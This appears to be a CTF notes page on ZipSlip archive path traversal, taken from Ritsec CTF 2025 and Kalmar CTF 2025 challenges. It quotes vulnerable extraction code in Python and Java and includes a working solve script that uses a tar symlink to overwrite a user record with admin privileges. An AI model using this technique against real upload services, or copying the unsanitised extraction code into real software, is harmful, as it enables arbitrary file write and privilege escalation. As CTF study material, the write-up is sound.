Skip to content

Categories

ZipSlip

vulnerable codewe can do this to gain arbitrary file writevulnerable codetar versiThe unzip logic is defined in the file ZipArchive.java:But oops, it looks like the zip file entries are not sanitised,...

Created

Updated

3 min read

Reading time

1 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

ZipSlip in CPIO CLI Linux

Event NameRitsec CTF 2025
GitHub URL-
Challenge NameUpload Issue
Attachments
References

vulnerable code

        results = subprocess.run([f'cd uploads/{tmpname}/ && cpio -idF {tmpname}.cpio'], shell=True, capture_output=True, text=True)

we can do this to gain arbitrary file write

import libarchive

def generate_cpio_zip():
    with libarchive.Archive('my_archive.cpio', 'w') as a:
        a.write("../test.txt", "foobar")

ZipSlip in tar CLI Linux old version can be used to use symlink path traversal to arbitrary file write

Event NameRitsec CTF 2025
GitHub URL-
Challenge NameUpload Issue 2
Attachments
References

vulnerable code

        results = subprocess.run([f'cd uploads/{tmpname}/ && tar -xvf {tmpname}.tar'], shell=True, capture_output=True, text=True)

tar versi

ii  tar                     1.34+dfsg-1.2+deb12u1 amd64        GNU version of the tar archiving utility
solve.py
import httpx
import asyncio
import tarfile
import tempfile

URL = "https://web-upload-issues-2.ctf.ritsec.club/"

def arbitrary_file_write(filepath: str, content: bytes):
    with tarfile.open("archive.tar", "w") as a:
        e = tarfile.TarInfo("tmp")
        e.type = tarfile.SYMTYPE
        e.mode = 0o777
        e.linkname = "/"
        a.addfile(e)

        e = tarfile.TarInfo("tmp/"+filepath)
        e.type = tarfile.REGTYPE
        e.mode = 0o644
        e.size = len(content)
        with tempfile.NamedTemporaryFile() as f:
            f.write(content)
            f.seek(0)
            a.addfile(e, f)
    with open("archive.tar", "rb") as f:
        return f.read()
    
class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url)
    async def register(self, username: str, password: str) -> bool:
        res = await self.c.post("/register", data={"user": username, "password1": password, "password2": password})
        return res
    async def login(self, username: str, password: str) -> bool:
        res = await self.c.post("/login", data={"user": username, "password": password})
        return res
    async def archive(self, file):
        res = await self.c.post("/archive", files={"file": file})
        return res
    async def get_archive(self):
        res = await self.c.get("/archive")
        return res
    async def get_flag(self):
        res = await self.c.get("/admin")
        return res

class API(BaseAPI):
    ...

async def main():
    api = API()
    username = "mamahinfoXdafffainfo"
    res = await api.register(username, "admin")
    res = await api.login(username, "admin")
    res = await api.archive(arbitrary_file_write("/app/users/"+username+".json", b'{"passhash": "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918", "perm_level": 3}'))
    res = await api.get_archive()
    api = API()
    res = await api.login(username, "admin")
    res = await api.get_flag()

    print(res.text)
if __name__ == "__main__":
    asyncio.run(main())

ZIP Slip Vuln

Event NameKalmar CTF 2025
GitHub URLhttps://github.com/kalmarunionenctf/kalmarctf/tree/main/2025
Challenge NameRed wEDDIng
Attachments
References

The unzip logic is defined in the file ZipArchive.java:

@Override
public void unzip(InputStream zipFile, File targetDir) throws IOException {
    if (!targetDir.exists()) {
        targetDir.mkdir();
    }
    ZipInputStream zipIn = new ZipInputStream(zipFile);

    ZipEntry entry = zipIn.getNextEntry();
    // iterates over entries in the zip file
    while (entry != null) {
        String filePath = targetDir.getPath() + File.separator + entry.getName();
        if (!entry.isDirectory()) {
            // if the entry is a file, extracts it
            new File(filePath).getParentFile().mkdirs();
            extractFile(zipIn, filePath);
        } else {
            // if the entry is a directory, make the directory
            File dir = new File(filePath);
            dir.mkdirs();
        }
        zipIn.closeEntry();
        entry = zipIn.getNextEntry();
    }
    zipIn.close();
}

But oops, it looks like the zip file entries are not sanitised, so that means we've identified a classical zip slip vulnerability!

Categories & Topics

This note is categorized under the following topics. Click on any category to explore more related content.

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.